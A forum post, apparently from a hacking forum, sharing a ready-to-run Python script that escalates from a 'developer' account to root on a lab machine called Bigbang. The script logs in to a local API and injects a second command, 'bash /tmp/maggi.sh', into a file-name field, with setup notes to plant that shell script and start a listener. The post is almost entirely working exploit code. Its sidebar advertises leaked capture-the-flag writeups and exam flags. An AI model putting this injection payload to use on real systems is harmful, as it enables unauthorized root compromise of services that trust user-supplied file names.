Bigbang developer to root script
by maggi - Wednesday January 29, 2025 at 04:39 AM
#1
Script to get from developer to root, just make a shell /tmp/maggi.sh
set up listener 
enter developer password

Quote:import requests
import re
import getpass

#  enter the password
username = "developer"
password = getpass.getpass("Enter password: ")

#  login credentials
login_payload = {
    "username": username,
    "password": password
}

# Perform login and capture the response
login_response = requests.post("http://127.0.0.1:9090/login", json=login_payload)
access_token = login_response.json().get("access_token")

if access_token:
    # Define the command payload
    command_payload = {
        "command": "send_image",
        "output_file": "maggi.png\nbash /tmp/maggi.sh"
    }

    # Use the access token to authorize and send the command
    command_response = requests.post(
        "http://127.0.0.1:9090/command",
        headers={
            "Authorization": f"Bearer {access_token}",
            "Content-Type": "application/json"
        },
        json=command_payload
    )

    # Print the response for debugging
    print(command_response.text)
else:
    print("Failed to retrieve access token")
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 602 91,774 7 hours ago
Last Post: sabero_exe
  [FREE] CPTS 12 FLAGS pulsebreaker 68 1,967 Yesterday, 09:54 AM
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 92,895 Yesterday, 08:48 AM
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,623 Yesterday, 05:08 AM
Last Post: popoler
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,275 Apr 30, 2026, 02:10 PM
Last Post: kkkato

Forum Jump:


 Users browsing this forum: 1 Guest(s)